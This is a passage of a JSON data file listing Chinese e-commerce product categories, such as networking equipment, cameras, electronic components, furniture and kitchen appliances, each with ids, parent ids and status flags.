tatus":2,"extra":null,"is_get_child":false},{"id":21605,"name":"智能电脑硬件","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21587,"name":"主板","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21634,"name":"电子教育","parent_cid":20100,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21635,"name":"光纤设备","parent_cid":20101,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21622,"name":"交换机","parent_cid":20101,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21623,"name":"路由器","parent_cid":20101,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21624,"name":"路由器/猫/网卡配件","parent_cid":20101,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21641,"name":"视频监控","parent_cid":20101,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21662,"name":"随身WiFi","parent_cid":20101,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21612,"name":"网卡","parent_cid":20101,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21668,"name":"单反相机","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21670,"name":"胶卷相机","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21663,"name":"拍立得相机","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21667,"name":"全景相机","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21676,"name":"数码摄像机","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21679,"name":"数码相机","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21669,"name":"微单相机","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32023,"name":"运动相机","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21678,"name":"专业数码","parent_cid":20102,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21715,"name":"服务器/Server","parent_cid":20108,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21714,"name":"工作站","parent_cid":20108,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21127,"name":"广告机","parent_cid":20108,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21716,"name":"台式整机","parent_cid":20108,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21713,"name":"一体机","parent_cid":20108,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32033,"name":"直播一体机","parent_cid":20108,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21717,"name":"智慧白板","parent_cid":20108,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32034,"name":"智慧屏","parent_cid":20108,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31868,"name":"笔记本电脑","parent_cid":20111,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32029,"name":"二合一笔记本","parent_cid":20111,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32031,"name":"迷你笔记本电脑","parent_cid":20111,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32027,"name":"轻薄笔记本","parent_cid":20111,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32028,"name":"设计师电脑","parent_cid":20111,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32026,"name":"游戏笔记本","parent_cid":20111,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32030,"name":"折叠屏笔记本","parent_cid":20111,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22187,"name":"磁铁及制品","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22156,"name":"电机/马达","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22162,"name":"电路板","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22178,"name":"电路保护","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22177,"name":"电声器材","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22201,"name":"电源及电源管理","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22168,"name":"电子胶/密封胶/硅胶/粘合剂","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22202,"name":"多媒体与显示器件","parent_cid":20121,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22175,"name":"分立器件","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22174,"name":"光电器件","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22191,"name":"集成电路(IC)","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22200,"name":"晶振与频率元件","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22170,"name":"计算机/服务器及零部件","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22169,"name":"开发板/开发套件","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22155,"name":"开关零件/按钮零件","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22182,"name":"开源硬件/电子DIY/创客","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22147,"name":"LED","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22197,"name":"冷却和热管理","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22163,"name":"连接器","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22184,"name":"实验器材/测试器材/开发工具","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22158,"name":"通信/网络/接口/功能模块","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22183,"name":"微处理器/微控制器/单片机","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22161,"name":"物联网","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22176,"name":"无源元件","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22157,"name":"线材/线类","parent_cid":20121,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20292,"name":"安全检查设备","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20288,"name":"电动工具","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20289,"name":"电气控制","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20286,"name":"机电五金","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20276,"name":"紧固件","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20285,"name":"机械五金","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20283,"name":"劳保用品","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20287,"name":"气动工具","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20269,"name":"刃具","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20284,"name":"手动工具","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20275,"name":"液压/起重工具","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20282,"name":"仪器仪表","parent_cid":20013,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20278,"name":"布线箱","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20273,"name":"插座","parent_cid":20014,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20291,"name":"电工配件","parent_cid":20014,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20290,"name":"电工套管","parent_cid":20014,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20274,"name":"电线","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20271,"name":"底盒","parent_cid":20014,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20279,"name":"断路器","parent_cid":20014,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20295,"name":"防盗报警器材及系统","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20294,"name":"监控器材及系统","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20277,"name":"交换器","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20281,"name":"接线板/插头","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20272,"name":"开关","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27406,"name":"智能家居系统","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21294,"name":"智能家庭","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20280,"name":"转换器","parent_cid":20014,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20270,"name":"其它","parent_cid":20014,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20564,"name":"风机/排风设备","parent_cid":20030,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20577,"name":"加油站设备","parent_cid":20030,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20579,"name":"美容店设备","parent_cid":20030,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20563,"name":"清洗/清理设备","parent_cid":20030,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20576,"name":"商用炉灶","parent_cid":20030,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20580,"name":"商用洗衣设备","parent_cid":20030,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20581,"name":"食品加工设备","parent_cid":20030,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20578,"name":"眼镜店设备","parent_cid":20030,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20575,"name":"制冷设备","parent_cid":20030,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20667,"name":"厨用小工具/厨房储物","parent_cid":20035,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20656,"name":"烹饪用具","parent_cid":20035,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20650,"name":"烧烤/烘焙用具","parent_cid":20035,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20658,"name":"办公家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20657,"name":"仓储家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20653,"name":"餐饮/烘焙家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20664,"name":"超市家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20659,"name":"城市家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20669,"name":"成套商业家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20651,"name":"发廊/美容家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20661,"name":"服饰家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20646,"name":"货架/展柜","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20665,"name":"酒店家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20649,"name":"桑拿/足浴/健身家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20663,"name":"网咖家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20660,"name":"文具家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20670,"name":"校园教学家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20648,"name":"医院/药店/复健家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20647,"name":"娱乐/酒吧/KTV家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20652,"name":"早教/培训家具","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20643,"name":"其它","parent_cid":20036,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34448,"name":"车载清洁用具","parent_cid":20040,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20677,"name":"个人洗护清洁用具","parent_cid":20040,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20676,"name":"家务/地板清洁用具","parent_cid":20040,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20675,"name":"卫浴/置物用具","parent_cid":20040,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20766,"name":"保鲜容器/保鲜器皿","parent_cid":20048,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20710,"name":"杯子/水杯/水壶","parent_cid":20048,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20709,"name":"餐具","parent_cid":20048,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20711,"name":"酒壶/酒杯/酒具","parent_cid":20048,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20763,"name":"咖啡器具","parent_cid":20048,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20815,"name":"一次性餐桌用品","parent_cid":20048,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20827,"name":"船舶/装备/配件","parent_cid":20050,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20830,"name":"摩托车配件","parent_cid":20050,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20833,"name":"摩托车骑士装备","parent_cid":20050,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20832,"name":"摩托车装饰养护","parent_cid":20050,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20923,"name":"案/台类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21227,"name":"成套家具","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21083,"name":"床垫类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20936,"name":"床类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":34035,"name":"儿童家具","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21084,"name":"根雕类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20938,"name":"柜类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21060,"name":"户外/庭院家具","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21226,"name":"家具辅料","parent_cid":20059,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20937,"name":"架类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20935,"name":"几类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21086,"name":"镜子类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20662,"name":"母婴家具","parent_cid":20059,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21011,"name":"屏风/花窗","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21085,"name":"沙发类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":32998,"name":"适老家具","parent_cid":20059,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20940,"name":"箱类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20939,"name":"桌类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21082,"name":"坐具类","parent_cid":20059,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20918,"name":"窗","parent_cid":20061,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20941,"name":"地板","parent_cid":20061,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21053,"name":"地暖/暖气片/散热器","parent_cid":20061,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21346,"name":"定制背景墙","parent_cid":20061,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21228,"name":"定制柜类","parent_cid":20061,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21344,"name":"定制护墙板","parent_cid":20061,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21345,"name":"定制淋浴房","parent_cid":20061,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21229,"name":"定制衣柜","parent_cid":20061,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21231,"name":"集成吊顶","parent_cid":20061,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20942,"name":"楼梯","parent_cid":20061,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20919,"name":"门","parent_cid":20061,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21385,"name":"全屋空间定制","parent_cid":20061,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21347,"name":"榻榻米空间","parent_cid":20061,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21447,"name":"整体厨柜及配件","parent_cid":20061,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21386,"name":"整体吊顶定制","parent_cid":20061,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21230,"name":"整装定制","parent_cid":20061,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21241,"name":"冰淇淋机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21353,"name":"餐具消毒机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21170,"name":"茶吧机/泡茶机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21392,"name":"厨房家电配件","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21166,"name":"厨师机/和面机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21186,"name":"电饼铛/可丽饼机/薄饼机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21178,"name":"电茶炉/煮茶器/奶茶机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21156,"name":"电磁炉/陶炉","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21377,"name":"电动抽水器/取水器","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21351,"name":"电动打蛋器","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21350,"name":"电动打奶器","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21054,"name":"电炖/煮粥锅/文火炉","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21103,"name":"电饭煲","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21100,"name":"电烤箱","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21013,"name":"电热/火锅","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21101,"name":"电热杯","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21245,"name":"电热饭盒","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21244,"name":"电热水壶","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21243,"name":"电压力锅","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21189,"name":"电蒸锅/台式电蒸箱/肠粉机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21105,"name":"豆浆机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21395,"name":"多功能料理锅","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21096,"name":"多士炉","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21452,"name":"果蔬消毒清洗机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21048,"name":"搅拌/料理机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21038,"name":"绞肉/碎肉/绞菜机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21396,"name":"家用气泡水机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21093,"name":"净水器","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21242,"name":"净水设备","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21095,"name":"咖啡机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21168,"name":"烤串机/电烤炉","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21246,"name":"空气炸锅","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21107,"name":"面包机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21108,"name":"面条机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21398,"name":"迷你厨房电器","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21187,"name":"磨粉机/药材研磨机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21099,"name":"牛排机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21104,"name":"破壁机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21389,"name":"全屋净水系统","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21240,"name":"三明治机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21451,"name":"商厨加热类设备","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21393,"name":"商厨食品机械","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21450,"name":"商厨制冷类设备","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21394,"name":"商用水饮设备","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21463,"name":"商用消毒洗涤设备","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21352,"name":"食物烘干机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21453,"name":"食物垃圾处理机","parent_cid":20065,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra"